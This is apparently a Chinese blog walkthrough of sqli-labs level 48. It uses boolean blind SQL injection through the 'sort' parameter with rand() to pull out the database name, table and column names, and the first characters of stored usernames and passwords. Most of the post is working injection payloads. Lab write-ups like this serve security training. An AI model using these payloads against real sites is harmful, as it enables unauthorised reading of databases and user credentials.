sqllab48关

首先输入一下内容

sort=rand()

多试几次,界面会发生变化 ,这一关属于数字型注入 。

使用报错注入 尝试输入一下内容。

sort=updatexml(1,if(1=1,concat(0x7e,database(),0x7e),1),1)--+

回显如下,可是不存在报错信息,所以不能继续使用报错注入。

开始使用布尔盲注,借助一下rand()函数关系表达式 ,当表达式为1时界面为条件为真时的界面, 表达式为0时界面为条件为假时的界面。

查看数据库长度,输入如下参数

sort=rand(length(database())=8)

接着获取数据库的名称的首字母 :

sort=rand(ascii(mid(database(),1,1))=101)

得到数据库的首字母为s。

接着获取表格的个数 输入如下:

sort=rand((select count(table_name) from information_schema.tables where table_schema=database())=4)

表格的个数为4个。

接着获取第一个表格的名称个数 :

sort=rand((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6)
 

第一个表格的名称的首字母为e。

接着进行字段数量的获取 :

sort=rand((select count(column_name) from information_schema.columns where table_name='users' and table_schema=database())=3)

字段的个数为3。

接着获取第一个字段的名称个数:

sort=rand((select length(column_name) from information_schema.columns where table_name='users' and table_schema=database() limit 0,1)=2)

接着获取第一个字段的名称操作:

sort=rand(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))=105)

第一个字段的名称的首字母为i。

接着获取第一个用户名的首字母 :

sort=rand(ascii(mid((select group_concat(username,password) from users),1,1))=68)
 

第一个用户名的首字母为D,成功。

接着获取一下第一个表格的名称的首字母 :

  • 5
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值